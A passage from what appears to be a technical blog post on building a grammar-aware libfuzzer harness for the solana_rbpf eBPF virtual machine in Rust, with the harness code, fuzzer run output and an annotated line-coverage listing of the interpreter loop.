                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::SwapBytes(endian) => code
                .swap_bytes(endian)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Load(mem) => code
                .load(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadAbs(mem) => code
                .load_abs(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadInd(mem) => code
                .load_ind(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadX(mem) => code
                .load_x(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Store(mem) => code
                .store(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::StoreX(mem) => code
                .store_x(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Jump => code
                .jump_unconditional()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::JumpC(cond, src) => code
                .jump_conditional(cond, src)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Call => code
                .call()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Exit => code
                .exit()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
        };
    }
    code
}

You’ll see here that our generation doesn’t really care to ensure that instructions are valid, just that they’re in the right format. For example, we don’t verify registers, addresses, jump targets, etc.; we just slap it together and see if it works. This is to prevent over-specialisation, where our attempts to fuzz things only make “boring” inputs that don’t test cases that would normally be considered invalid.

Okay – let’s make a fuzzer with this. The only real difference here is that our input format is now changed to have our new FuzzProgram type instead of raw bytes:

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    prog: FuzzProgram,
    mem: Vec<u8>,
    arch: Arch,
}
The whole fuzzer, though really it's not that different

This fuzzer expresses a particular stage in development. The differential fuzzer is significantly different in a few key aspects that will be discussed later.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use grammar_aware::*;
use solana_rbpf::{
    elf::{register_bpf_function, Executable},
    insn_builder::{Arch, IntoBytes},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;
mod grammar_aware;

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    prog: FuzzProgram,
    mem: Vec<u8>,
    arch: Arch,
}

fuzz_target!(|data: FuzzData| {
    let prog = make_program(&data.prog, data.arch);
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1 << 16 },
    )));
});

Evaluation

Let’s see how well this version covers our target now.

$ cargo +nightly fuzz run smart -- -max_total_time=60
... snip ...
#1449846	REDUCE cov: 1730 ft: 6369 corp: 1019/168Kb lim: 4096 exec/s: 4832 rss: 358Mb L: 267/2963 MS: 1 EraseBytes-
#1450798	NEW    cov: 1730 ft: 6370 corp: 1020/168Kb lim: 4096 exec/s: 4835 rss: 358Mb L: 193/2963 MS: 2 InsertByte-InsertRepeatedBytes-
#1451609	NEW    cov: 1730 ft: 6371 corp: 1021/168Kb lim: 4096 exec/s: 4838 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452095	NEW    cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4840 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452830	DONE   cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4826 rss: 358Mb
Done 1452830 runs in 301 second(s)

Notice that our number of inputs tried (the number farthest left) is nearly half, but our cov and ft values are significantly higher.

Let’s evaluate that coverage a little more specifically:

$ cargo +nightly fuzz coverage smart
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/smart -instr-profile=fuzz/coverage/smart/coverage.profdata -show-line-counts-or-regions -show-instantiations -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    886|    fn execute_program_interpreted_inner(
  710|    886|        &mut self,
  711|    886|        instruction_meter: &mut I,
  712|    886|        initial_insn_count: u64,
  713|    886|        last_insn_count: &mut u64,
  714|    886|    ) -> ProgramResult<E> {
  715|    886|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    886|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    886|        reg[1] = ebpf::MM_INPUT_START;
  718|    886|
  719|    886|        // Loop on instructions
  720|    886|        let config = self.executable.get_config();
  721|    886|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    886|        let mut remaining_insn_count = initial_insn_count;
  723|  2.16M|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|  2.16M|            *last_insn_count += 1;
  725|  2.16M|            let pc = next_pc;
  726|  2.16M|            next_pc += 1;
  727|  2.16M|            let mut instruction_width = 1;
  728|  2.16M|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|  2.16M|            let dst = insn.dst as usize;
  730|  2.16M|            let src = insn.src as usize;
  731|  2.16M|
  732|  2.16M|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|  2.16M|            }
  738|       |
  739|  2.16M|            match insn.opc {
  740|  2.16M|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|      6|                    match insn.opc {
  742|      2|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|      4|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      5|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      5|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  757|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  762|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      6|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      6|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^2
  767|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^1
  772|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      9|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^1
  777|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  782|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^2
  787|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      6|                ebpf::LD_DW_IMM  => {
  796|      6|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      6|                    instruction_width = 2;
  798|      6|                    next_pc += 1;
  799|      6|                    reg[dst] = insn.imm as u64;
  800|      6|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     21|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     21|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^4
  806|      4|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|      4|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  811|      1|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|     26|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^19
  816|     19|                    reg[dst] = unsafe { *host_ptr as u64 };
  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|      5|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|      5|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^1
  821|      1|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^1
  828|      1|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     11|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     11|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^6
  833|      6|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|      9|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^6
  838|      6|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     16|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     16|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|      9|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^2
  850|      2|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|      7|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^2
  860|      2|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      7|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|    136|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|     18|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|     94|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|     14|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|    226|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|     15|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|     98|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|      0|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|      0|                    }
  886|      0|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|      0|                    if reg[src] as i32 == 0 {
  890|      0|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|      0|                    }
  892|      0|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|      0|                    }
  895|      0|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    102|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|     13|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|     46|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|     16|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      4|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|     32|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      2|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|      4|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|     54|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|     90|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|     20|                    if reg[src] as u32 == 0 {
  909|      6|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|     14|                    }
  911|     14|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
  913|     96|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|     14|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|     59|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|      7|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|     15|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|    236|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      2|                ebpf::LE         => {
  920|      2|                    reg[dst] = match insn.imm {
  921|      1|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      1|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      2|                ebpf::BE         => {
  930|      2|                    reg[dst] = match insn.imm {
  931|      1|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      1|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|  16.7k|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|     26|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|    145|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|     25|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|    480|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|     13|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
  947|    191|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|      5|                    if reg[src] == 0 {
  950|      3|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|      2|                    }
  952|      2|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|      0|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|      0|                    }
  958|      0|
  959|      0|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|      0|                    if reg[src] == 0 {
  963|      0|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      0|                    }
  965|      0|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      0|                    }
  968|      0|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    115|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|     19|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|     93|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|     19|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|     19|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|     48|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      4|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|      5|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|     94|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|    141|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|     19|                    if reg[src] == 0 {
  982|      4|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|     15|                    }
  984|     15|                                    reg[dst] %= reg[src];
  985|       |                },
  986|     98|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|     17|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|     89|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|     10|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|     14|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    294|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|   327k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|    116|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^76                                                           ^40
  996|   131k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^11
  997|   163k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^147k                                                         ^16.4k
  998|   131k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^34
  999|  65.5k|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^8
 1000|  65.5k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^11
 1001|  65.5k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^3
 1002|      6|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^4                                                            ^2
 1003|   131k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^2
 1004|  65.5k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^2
 1005|      3|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1                                                            ^2
 1006|      2|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|   196k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^196k                                                         ^3
 1008|   131k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^3
 1009|  65.5k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^6
 1010|     14|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1                                                            ^13
 1011|  65.5k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^12
 1012|  65.5k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^4
 1013|   131k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^20
 1014|   147k|                ebpf::JSLT_REG   => if (reg[dst] as i64) <  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^147k                                                         ^23
 1015|  65.5k|                ebpf::JSLE_IMM   => if (reg[dst] as i64) <= insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^65.5k                                                        ^4
 1016|   131k|                ebpf::JSLE_REG   => if (reg[dst] as i64) <= reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^131k                                                         ^2
 1017|       |
 1018|       |                ebpf::CALL_REG   => {
 1019|      0|                    let target_address = reg[insn.imm as usize];
 1020|      0|                    reg[ebpf::FRAME_PTR_REG] =
 1021|      0|                        self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1022|      0|                    if target_address < self.program_vm_addr {
 1023|      0|                        return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
 1024|      0|                    }
 1025|      0|                    next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
 1026|       |                },
 1027|       |
 1028|       |                // Do not delegate the check to the verifier, since registered functions can be
 1029|       |                // changed after the program has been verified.
 1030|       |                ebpf::CALL_IMM => {
 1031|     17|                    let mut resolved = false;
 1032|     17|                    let (syscalls, calls) = if config.static_syscalls {
 1033|     17|                        (insn.src == 0, insn.src != 0)
 1034|       |                    } else {
 1035|      0|                        (true, true)
 1036|       |                    };
 1037|       |
 1038|     17|                    if syscalls {
 1039|      6|                        if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
                                                  ^0
 1040|      0|                            resolved = true;
 1041|      0|
 1042|      0|                            if config.enable_instruction_meter {
 1043|      0|                                let _ = instruction_meter.consume(*last_insn_count);
 1044|      0|                            }
 1045|      0|                            *last_insn_count = 0;
 1046|      0|                            let mut result: ProgramResult<E> = Ok(0);
 1047|      0|                            (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
 1048|      0|                                self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
 1049|      0|                                reg[1],
 1050|      0|                                reg[2],
 1051|      0|                                reg[3],
 1052|      0|                                reg[4],
 1053|      0|                                reg[5],
 1054|      0|                                &self.memory_mapping,
 1055|      0|                                &mut result,
 1056|      0|                            );
 1057|      0|                            reg[0] = result?;
